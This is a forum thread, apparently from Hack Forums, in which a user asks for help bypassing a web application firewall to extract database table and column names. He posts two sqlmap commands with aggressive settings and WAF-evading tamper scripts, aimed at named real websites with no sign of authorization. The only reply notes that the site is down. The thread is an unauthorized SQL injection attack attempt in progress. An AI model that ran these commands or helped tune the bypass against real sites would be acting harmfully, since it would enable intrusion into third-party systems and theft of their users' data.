help with sqli WAF bypass - Printable Version

help with sqli WAF bypass - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: help with sqli WAF bypass (/showthread.php?tid=6163873)

help with sqli WAF bypass - mehran - Jul 16, 2021

Hi
can u please help to bypass WAF for get table and column names ?

Code 
python3 sqlmap.py -u "https://front.am/category/construction_repairs/windows_doors?maxPrice=1&minPrice=1*" --batch --random-agent --level=4 --risk=3 --dbs

Code 
python3 sqlmap.py -u "https://www.list.am/am/category/117?cnd=2&crc=1&n=49&po=1&price1=1&price2=1&sid=68*&type=1" --batch --random-agent --level=4 --risk=3 --tamper="between,randomcase,space2comment" --fresh-queries --dbs --no-cast

Thanks !

RE: help with sqli WAF bypass - Skorp - Jul 21, 2021

The website is down for me as of now 😕 I'm curious on what kind of protection the site has too.

[Image: roUOyBO.jpg]